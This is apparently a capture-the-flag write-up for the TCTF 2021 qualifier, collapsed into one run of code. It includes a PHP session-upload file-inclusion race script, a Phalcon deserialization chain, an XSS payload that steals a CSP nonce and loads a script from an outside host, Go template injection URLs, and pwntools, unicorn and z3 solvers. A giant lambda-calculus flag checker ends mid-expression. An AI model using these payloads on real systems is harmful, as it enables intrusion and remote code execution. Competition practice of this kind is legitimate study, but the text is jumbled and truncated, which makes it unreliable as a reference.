Phalcon\Logger\Formatter\Line("this is message", "Y-m-d H:i:s"); $queue1 = [$di]; $stream = new Phalcon\Logger\Adapter\Stream("/tmp/test", "w", $queue1, $line); echo serialize($stream); } zip16upload_progress_16 import requests import threading host = 'http://111.186.59.2:50082' PHPSESSID = 'qiyou' def creatSession(): while True: files = { "upload" : ("tmp.jpg", open("./1.png", "rb")) } data = {"PHP_SESSION_UPLOAD_PROGRESS" : open("./1.zip", "rb").read() } headers = {'Cookie':'PHPSESSID=' + PHPSESSID} r = requests.post(host,files = files,headers = headers,data=data) fileName = "zip:///tmp/sess_"+PHPSESSID+"%231" if __name__ == '__main__': url = "{}/index.php?yxxx={}".format(host,fileName) headers = {'Cookie':'PHPSESSID=' + PHPSESSID} t = threading.Thread(target=creatSession,args=()) t.setDaemon(True) t.start() while True: res = requests.get(url,headers=headers) if b"qiyouaaaa" in res.content: print(res.content) break else: print("[-] retry.") worldcup Reverse vp skyscrapers nickname: '`;a= message: `;}; document.write(`<script src='//x.o53.xyz/J306' nonce='`+$('script') [0].nonce+`'></script>`)// http://111.186.58.249:19260/casino?bet={{$|html}} http://111.186.58.249:19260/casino? bet=0{{if%20ge%20$.o0ps_u_Do1nt_no_t1%20$.o0ps_u_Do1nt_no_t2}}{{$.money+1}}{{else}} {{1}}{{end}} _step =[10,10,10,10,10,-10,-10,-10,-10,-10,1 ,1 ,1 ,1 ,1 ,-1,-1,-1,-1,-1] _start=[8 ,2 ,5 ,4 ,6 ,90 ,93 ,91 ,97 ,99 ,30,40,90,70,20,19,69,59,9 ,89] _lens= [2 ,3 ,4 ,2 ,1 ,2 ,2 ,4 ,3 ,2 ,2 ,2 ,3 ,3 ,2 ,2 ,3 ,2 ,2 ,1] int sub_DC5() { right_times = 0; for(int i = 0; i < 20; i++) { step = _step[i]; // byte_204021 start = _start[i]; inc_lens = _inc_lens[i]; update_times = 0; current_max = -1; sums = 0; for(int j = 0; j < 10; j++) { inputs = byte_204020[256 + start]; // Get inputs if (inputs > 10 || inputs < 1) goto LABEL_331; sums |= (1 << (inputs-1)); dferri/z3-skyscrapers: Generate a skyscrapers puzzle game solver for z3 (github.com) if (current_max < inputs) { current_max = inputs; update_times += 1; } start += steps; } if (1023 == dword_208040[3]) // 101 { if (update_times == inc_lens) // { right_times += 1; } } } if ( 20 != right_times) { LABEL_331: puts("Error :("); LODWORD(v22) = fflush(stdout); return v22; } puts("Correct"); fflush(stdout); dword_208040[9] = 256; dword_208040[8] = 10; dword_208040[8] *= dword_208040[8]; dword_208040[9] += dword_208040[8]; dword_208040[8] = *(unsigned __int16 *)&byte_204020[dword_208040[9]]; dword_208040[9] += 1; dword_208040[9] += 1; dword_208040[7] = *(unsigned __int16 *)&byte_204020[dword_208040[9]]; *(_WORD *)&byte_204020[dword_208040[7]] = dword_208040[8]; } x= [5,9,7,4,2,6,10,3,1,8,8,4,6,7,1,5,2,9,10,3,6,1,4,2,10,7,3,8,9,5,2,10,3,9,5,4,8,1,7,6,9, 8,1,10,6,3,4,7,5,2,7,6,5,1,8,2,9,10,3,4,10,2,8,5,3,9,1,6,4,7,1,5,10,3,4,8,7,2,6,9,3,7,2 ,6,9,1,5,4,8,10,4,3,9,8,7,10,6,5,2,1] FEA SHA25664ollvmELF from pwn import * x= [5,9,7,4,2,6,10,3,1,8,8,4,6,7,1,5,2,9,10,3,6,1,4,2,10,7,3,8,9,5,2,10,3,9,5,4,8,1,7,6,9, 8,1,10,6,3,4,7,5,2,7,6,5,1,8,2,9,10,3,4,10,2,8,5,3,9,1,6,4,7,1,5,10,3,4,8,7,2,6,9,3,7,2 ,6,9,1,5,4,8,10,4,3,9,8,7,10,6,5,2,1] io = remote("111.186.59.32",20217) #io = process("./vp") #raw_input() io.recvline() for i in x: io.send(p8(i)) io.send(b'\xe0\x4c\x08\x80') io.interactive() from pwn import * from Crypto.Util.number import * from hashlib import sha256,sha3_256 from random import choices import string import base64 context.log_level = 'debug' sh = remote('111.186.58.164',30212) sh.recvuntil('XXXX+') tail = sh.recvuntil(')')[:-1].decode() print(tail) sh.recvuntil('== ') value = int(sh.recvuntil('\n')[:-1],16) print(value) xrange=string.digits+string.ascii_letters for i in xrange: for j in xrange: for x in xrange: for l in xrange: m=(str(i)+str(j)+str(x)+str(l)+tail).encode() OLLVM exp if int(sha256(m).hexdigest(),16) == value: payload1 = (str(i)+str(j)+str(x)+str(l)) print(payload1) sh.recv() sh.send(payload1) sh.recvuntil('Here is your challenge:\n') sh.recvuntil('\n') file = sh.recvuntil('\n')[:-1] file = base64.b64decode(file) p = open('file','wb') p.write(file) p.close() sh.interactive() from unicorn import * from unicorn.x86_const import * import binascii from pwn import * from z3 import * def hook_code(uc, address, size, user_data): if address == 0x1447380: input("1123") def hook_int3(uc, intro, user_data): rip = uc.reg_read(UC_X86_REG_RIP) deadVal = u32(uc.mem_read(0xDEAD0000, 4)) deadVal ^= 0xDEADBEEF uc.mem_write(0xDEAD0000, p32(deadVal)) def fuck(code): CODE = 0x0 CODE_SIZE = 0x100000 DATA = 0x700000 DATA_SIZE = 0x20000 STACK = 0x7F00000000 STACK_SIZE = 0x10000 DEAD = 0xDEAD0000 DEAD_SIZE = 0x1000 uc = Uc(UC_ARCH_X86, UC_MODE_64) uc.mem_map(CODE, CODE_SIZE, UC_PROT_ALL) uc.mem_map(DEAD, DEAD_SIZE, UC_PROT_ALL) uc.mem_map(STACK, STACK_SIZE, UC_PROT_ALL) uc.mem_map(DATA, DATA_SIZE, UC_PROT_ALL) uc.mem_write(CODE, code) uc.reg_write(UC_X86_REG_RSP, STACK + STACK_SIZE - 0x10) uc.hook_add(UC_HOOK_CODE, hook_code) uc.hook_add(UC_HOOK_INTR, hook_int3) uc.reg_write(UC_X86_REG_RDI, DATA) uc.mem_write(STACK + STACK_SIZE - 0x10, p64(0x1447380)) try: uc.emu_start(0, 0x1447380) except Exception: data = uc.mem_read(DATA, 0x8) return u32(data[0:4]), u32(data[4:]) def de(x): x = hex(x)[2:] rr = x[2:] + x[0:2] print(rr) return rr def fuckyouZ3(targetR1, targetR2): a1 = BitVec("a1", 32) a2 = BitVec("a2", 32) a3 = BitVec("a3", 32) a4 = BitVec("a4", 32) v2 = 7 * a2 v3 = If(v2 != 0, (v2 & 0xffff) - (v2 >> 16), 0xfffffffa) v4 = a1 + 6 v5 = a4 + 5 v6 = a3 * 4 v1 = If(v6 != 0, (v6 & 0xffff) - (v6 >> 16), 0xFFFFFFFD) v7 = ((v3 ^ v5) & 0xffff) * 3 hight_v7 = v7 >> 16 low_v7 = v7 & 0xffff tmp = low_v7 - hight_v7 v8 = tmp v9_t = (v8 + (v1 ^ v4)) v9 = v9_t & 0xffff v9_2 = v9 * 2 v10 = (v9_2 & 0xffff) - (v9_2 >> 16) r1 = (((v3 ^ v10) << 16) | (v10 ^ v5)) & 0xffffffff r2 = (((v4 ^ (v10 + v8)) & 0xffff) << 16) | ((v1 ^ (v10 + v8)) & 0xffff) s = Solver() s.add(a1 < 0x10000) s.add(a2 < 0x10000) s.add(a3 < 0x10000) s.add(a4 < 0x10000) s.add(0 <= a1) s.add(0 <= a2) s.add(0 <= a3) s.add(0 <= a4) s.add(r1 == targetR1) s.add(r2 == targetR2) assert s.check() == sat res = s.model() return "".join([de(res[a1].as_long()), de(res[a2].as_long()), de(res[a3].as_long()), de(res[a4].as_long())]) from pwn import * from hashlib import sha256,sha3_256 import string import base64 def solve(code): CODE_DATA = code #open("file", 'rb').read() # 48 C7 C2 00 00 10 00 insCode = [0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC7, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x75, 0xE0, 0x48, 0xC7, 0xC2, 0x0, 0x0, 0x10, 0x00, 0x0F, 0x05, 0xE8, 0xAA, 0x76, 0x21, 0x00] CODE_DATA = bytearray(CODE_DATA) CODE_DATA[0x132E:0x132E+len(insCode)] = insCode open("file_2",'wb').write(CODE_DATA) os.system("chmod 777 file_2") p = process("./file_2") data = p.recvall() open("dec.bin", "wb").write(data) print("smc len:", hex(len(data))) r1, r2 = fuck(data) print("r1=", hex(r1)) print("r2=", hex(r2)) res = fuckyouZ3(r1, r2) lalamblambdadambda pyinstallerlalamblambdadambda.pycuncompyle6py return binascii.a2b_hex(res) sh = remote('111.186.58.164',30212) sh.recvuntil('XXXX+') tail = sh.recvuntil(')')[:-1].decode() print(tail) sh.recvuntil('== ') value = int(sh.recvuntil('\n')[:-1],16) print(value) xrange=string.digits+string.ascii_letters for i in xrange: for j in xrange: for x in xrange: for l in xrange: m=(str(i)+str(j)+str(x)+str(l)+tail).encode() if int(sha256(m).hexdigest(),16) == value: payload1 = (str(i)+str(j)+str(x)+str(l)) print(payload1) sh.recv() sh.send(payload1) sh.recvuntil('Here is your challenge:\n') sh.recvuntil('\n') file = sh.recvuntil('\n')[:-1] file = base64.b64decode(file) sh.send(solve(file)) sh.recvuntil('Here is your challenge:\n') sh.recvuntil('\n') file = sh.recvuntil('\n')[:-1] file = base64.b64decode(file) sh.send(solve(file)) sh.recvuntil('Here is your challenge:\n') sh.recvuntil('\n') file = sh.recvuntil('\n')[:-1] file = base64.b64decode(file) sh.send(solve(file)) sh.interactive() # decompyle3 version 3.7.5.dev0 # Python bytecode 3.8 (3413) # Decompiled from: Python 3.8.5 (default, May 27 2021, 13:30:53) # [GCC 9.3.0] # Embedded file name: M:\home\ctf\TCTF_and_SJTUCTF\tctf2021_quals\new_challenges\from_me\lalamblambdadambda\s rc\lalamblambdadambda.py T = lambda _: lambda __: _ F = lambda _: lambda __: __ And = lambda _: lambda __: _(__)(_) Or = lambda _: lambda __: _(_)(__) Not = lambda _: _(F)(T) Xor = lambda _: lambda __: Or(And(_)(__))(And(Not(_))(Not(__))) If = lambda _: lambda __: lambda ___: _(__)(___) If_3_then_1_else_2 = lambda _: lambda __: lambda ___: If(___)(_)(__) Eor = lambda _: lambda __: Or(And(Not(_))(__))(And(_)(Not(__))) flag = input('Input flag: \n') r = False if not len(flag) == 22 and flag.startswith('flag{') or flag.endswith('}'): try: buf = bytes.fromhex(flag[5:21]) except ValueError: buf = None else: if buf: tmp = [ None] * 64 for i in range(8): for j in range(8): tmp[8 * i + j] = ( F, T)[(buf[i] >> j & 1)] else: r = (lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: lambda _________: lambda __________: lambda ___________: lambda ____________: lambda _____________: lambda ______________: lambda _______________: lambda ________________: lambda _________________: lambda __________________: lambda ___________________: lambda ____________________: lambda _____________________: lambda ______________________: lambda _______________________: lambda ________________________: lambda _________________________: lambda __________________________: lambda ___________________________: lambda ____________________________: lambda _____________________________: lambda ______________________________: lambda _______________________________: lambda ________________________________: lambda _________________________________: lambda __________________________________: lambda ___________________________________: lambda ____________________________________: lambda _____________________________________: lambda ______________________________________: lambda _______________________________________: lambda ________________________________________: lambda _________________________________________: lambda __________________________________________: lambda ___________________________________________: lambda ____________________________________________: lambda _____________________________________________: lambda ______________________________________________: lambda _______________________________________________: lambda ________________________________________________: lambda _________________________________________________: lambda __________________________________________________: lambda ___________________________________________________: lambda ____________________________________________________: lambda _____________________________________________________: lambda ______________________________________________________: lambda _______________________________________________________: lambda ________________________________________________________: lambda _________________________________________________________: lambda __________________________________________________________: lambda ___________________________________________________________: lambda ____________________________________________________________: lambda _____________________________________________________________: lambda ______________________________________________________________: lambda _______________________________________________________________: lambda ________________________________________________________________: (lambda _________________________________________________________________: (And)((lambda _: lambda __: lambda ___: (And)(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (And)(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (And)(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (And) (_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (And)(_(__(T)) (___(T)))(_(__(F))(___(F))))(Xor)))))((lambda _: _(T)) (_________________________________________________________________))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(___)(____)))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(T)(T)(F)(T)(T)(T)(T)(T)) ((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)) (_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(T)(F)(F)(T)(T)(F)(T)(T))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(F)(F)(F)(F)(T)(T)(T)(T)) ((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)) (_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(T)(T)(F)(T)(F)(F)(F)(F))))((lambda _: lambda __: lambda ___: (And)(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (And) (_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (And)(_(__(T)) (___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (And)(_(__(T))(___(T))) (_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (And)(_(__(T))(___(T)))(_(__(F)) (___(F))))(Xor)))))((lambda _: _(F)) (_________________________________________________________________))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(___)(____)))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(F)(F)(T)(T)(F)(F)(F)(F)) ((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)) (_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(F)(T)(T)(F)(T)(T)(T)(F))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(F)(F)(T)(T)(F)(T)(F)(T)) ((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)) (_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(T)(F)(F)(T)(F)(F)(F)(T)))))((lambda _: lambda __: (lambda _: _(F))((lambda _: (lambda __: _(__(__)))(lambda ___: _(lambda ____: ___(___)(____)))) (lambda _: lambda __: lambda ___: (lambda _: _(lambda __: lambda _: lambda __: __)(T)) (__)(___)(lambda ____: _((lambda _: lambda __: lambda ___: _(lambda ____: lambda _____: _____(____(__)))(lambda _____: ___)(lambda ______: ______))(__))((lambda _: (lambda __: (lambda ___: (lambda ____: (lambda _____: (lambda ______: (lambda _______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_____)((lambda _: lambda __: lambda ___: (If) (___)(_)(__))(______)(_______)))((lambda _: lambda __: (lambda _: _(F))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____)))) (_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T)) (___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T)) ((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))(lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((Or)((And)(_)(__))((And)((Eor)(_)(__))(___)))((Eor) ((Eor)(_)(__))(___)))))))(_)(__)(F)))(____)((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F)))) ((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T)) (___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))(lambda _: lambda __: (Eor)(_)(__))))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F)) (___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_(__(T))(___(T)))(_(__(F)) (___(F))))((lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))(_(__(T))(___(T)))(_(__(F))(___(F))))(lambda _: lambda __: (Eor)(_) (__))))))((lambda _: lambda __: (lambda _: _(F))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))(lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((Or)((And)(_)(__))((And)((Eor)(_)(__))(___)))((Eor) ((Eor)(_)(__))(___)))))))(_)(__)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____)))) (_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____)))) (_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____)))) (_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F)) (___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T)) ((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T)) ((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (_____))((lambda _: 